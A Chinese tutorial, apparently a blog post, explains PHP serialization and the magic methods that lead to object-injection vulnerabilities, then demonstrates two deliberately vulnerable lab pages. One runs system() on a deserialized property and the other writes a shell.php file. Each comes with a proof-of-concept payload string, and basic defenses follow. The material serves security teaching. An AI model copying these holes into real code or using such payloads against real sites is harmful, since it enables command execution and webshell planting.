需要特别声明:所有技术探讨均限定于网络安全学习与防御研究范畴,旨在帮助开发者理解漏洞形成机制、掌握安全编码规范,进而提升系统抗风险能力。严禁将相关技术用于未授权的攻击活动,网络安全的核心价值在于构建防御体系,而非滥用技术造成危害。请各位读者遵守《网络安全法》及相关法律法规,共同维护健康的网络环境。

序列化与反序列化

1.语言结构

        序列化的定义是,将对象的状态信息转换为可以存储或传输的形式(字符串)的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。简单的说,序列化就是把一个对象变成可以传输的字符串,可以以特定的格式在进程之间跨平台、安全的进行通信。

2.序列化的用途

  • 方便对象在网络中的传输与存储

3.序列化与反序列化的过程

  • 序列化:将对象转换为流,利于储存和传输的格式
  • 函数:serialize 将对象以及对象的成员转变为字符串
  • 反序列化:将流转换为对象
  • 函数:unserialze 将字符串还原为对象以及对象成员

序列化的过程

代码解析创建Stu类的对象$stuinfo,给对象的namesexagescore属性分别赋值,最后使用serialize函数序列化该对象并输出。

序列化之后结果如上  解释如下

O:3:"Stu":4::O表示这是一个对象;3是类名Stu的长度;4表示对象有 4 个属性。
{s:4:"name";s:8:"zhangsan";:s代表字符串类型,4是属性名name的长度,8是属性值zhangsan的长度。
s:3:"sex";b:0;:s表示属性名sex是字符串类型,长度为 3;b代表布尔类型,0表示false
s:3:"age";i:18;:s表示属性名age是字符串类型,长度为 3;i代表整数类型,值为 18。
s:5:"score";i:99;}:s表示属性名score是字符串类型,长度为 5;i代表整数类型,值为 99。


反序列化流程

引入 serialize.php 文件。接着定义 <pre> 标签方便格式化输出,把序列化后的字符串赋值给 $stu1,再用 unserialize 函数将其反序列化为对象 $student_info,最后用 var_dump 打印该对象信息。

反序列化结果如上

反序列化漏洞

  • 概念:PHP 反序列化漏洞也叫 PHP 对象注入
  • 危害:这种类型的漏洞虽然有些难以利用,但一旦利用成功就会造成非常危险的后果。
  • 形成原因: 1、用户可控制参数
                       2、用户传递的反序列化字符串未校验检测
                       3、使用了魔法函数(最主要原因)

                (反序列化不是PHP独有,也存在于java,python中)

常见的魔法函数

__construct():当一个对象创建时被调用(相当于 c++ 的构造函数),示例new tst()
__destruct():当一个对象销毁时被调用(相当于 c++ 的析构函数)
__sleep():在对象被序列化之前被调用,关联函数serialize()
__wakeup():将在unserialize()函数执行反序列化时调用。
__toString():当一个对象被当作一个字符串时使用。

__construct()

当一个对象被创建时调用,类似 c++ 的构造函数

<?php
header("Content-Type: text/html;charset=utf-8");
class Stu{
    var $a;
    var $b;
    function __construct()
    {
        echo '新的对象被调用,执行了魔术函数:__construct!!!';
    }
}
echo '此时object对象没有被创建!';
echo '<br>';
$stu = new Stu();    //新的对象被实例化和调用,触发魔术函数
?>

__destruct() 

当一个对象被销毁的时候调用

<?php
header("Content-Type: text/html;charset=utf-8");
class Stu{
    var $a;
    var $b;
    function __construct()
    {
        echo '对象被实例化,执行了魔术函数:__construct!!!';
    }
    function __destruct()
    {
        echo '实例化对象被销毁,执行了魔术函数:__destruct!!!';
    }
}
echo '此时对象未被创建....';
echo '<br>';
$stu = new Stu();
echo '<br>';
echo '程序运行结束,对象被销毁....释放内存空间...';
echo '<br>';
?>

__sleep

在对象被序列化之前调用,serialize函数出现时调用

__tostring

当对象作为字符串输出时,触发魔法函数__tostring

<?php
header("Content-Type: text/html;charset=utf-8");
error_reporting(0);
class Stu{
    var $a;
    var $b;
    function __construct(){
        echo '对象被实例化,执行了魔术函数:__construct!!!';
    }
    function __destruct()
    {
        echo '实例化对象被销毁,执行了魔术函数:__destruct!!!';
    }
    function __toString()
    {
        echo '实例化对象被当做字符串输出,执行了魔术函数:__toString!!!';
    }
    function __sleep()
    {
        echo '实例对象被序列化,执行了魔术函数:__sleep!!!';
    }
}
echo 'object isnot created!!!!';
echo '<br>';
$stu = new Stu();
echo '<br>';
echo 'object is created!!!!';
echo '<br>';
//echo $stu;      //当做字符串输出,触发魔术函数__toString
serialize($stu);   //序列化对象,触发魔术函数__sleep
echo '<br>';
?>

__wakeup

反序列化函数unserialize()被执行,检测到存在__wakeup魔术函数,执行了魔术函数

<?php
header("Content-Type: text/html;charset=utf-8");
class demo{
    var $a=1;
    var $b=2;
    function __wakeup()
    {
        echo '反序列化函数unserialize()被执行,检测到存在__wakeup魔术函数,执行了魔术函数:__wakeup!!!';
    }
}

$demo1 = new demo();
echo '<br>';
echo '对象demo被实例化创建成功!!!';
echo '<br>';
//echo $stu;
$str = <<<ABC
O:4:"demo":2:{s:1:"a";i:1;s:1:"b";i:2;}
ABC;
$demo1 = unserialize($str); //执行反序列化函数,寻找是否存在__wakeup()魔术函数
?>

反序列化漏洞演示

靶场1如下

        代码定义了Test类,包含公共属性$str和析构方法__destruct()。当对象被销毁时,__destruct()会通过system()函数执行$str变量对应的系统命令。程序通过unserialize($_GET['code'])对用户传入的code参数进行反序列化,若code是精心构造的恶意序列化字符串,可篡改$str的值。

<?php
class Test{
    public $str='test'; //序列化的变量
    function __destruct(){ //通过反序列化,调用A对象,因为PHP魔法函数的缘故,他会自动执行__destruct()
        @system($this->str); //--> system("test"); --> system("ipconfig")
    }
}
$test = new Test(); //创建一个类的对象,并将其序列化
echo "<pre>";
unserialize($_GET['code']); //反序列化,将得到的序列化字符串反序列化为对象
?>

poc为

?code=O:4:"Test":1:{s:3:"str";s:8:"ipconfig";}

靶场2如下

<?php
header("Content-Type: text/html;charset=utf-8");
class Hello{
    var $test = '123';
    function __wakeup(){
        $fp = fopen("shell.php","w+");
        fwrite($fp,$this->test);
        fclose($fp);
    }
}
$class3 = $_GET['code'];
// print_r($class3);
echo "<br>";
$class3_unser = unserialize($class3);
?>

这段 PHP 代码定义了Hello类,包含test属性和__wakeup魔术方法。__wakeup会在反序列化时被调用,创建并写入shell.php文件,内容为test属性的值。代码通过$_GET['code']获取用户传入的序列化字符串,反序列化后触发上述操作。

poc

?code=O:5:"Hello":1:{s:4:"test";s:24:"<?php echo "vulnerable"; ?>";}

防御方法

1、序列化的参数用户不可以控制
2、过滤用户的输入,设置一些黑名单过滤 0: "" {};d i s
3、序列化后的内容进行检查,确保安全后再输出

需要说明的是,在真实业务环境中,反序列化漏洞的实际利用场景相对有限,其可操作性远不及其他类型漏洞;该类漏洞更多活跃于代码审计环节与 CTF 竞赛题目中。

Logo

惟楚有才,于斯为盛。欢迎来到长沙!!! 茶颜悦色、臭豆腐、CSDN和你一个都不能少~

更多推荐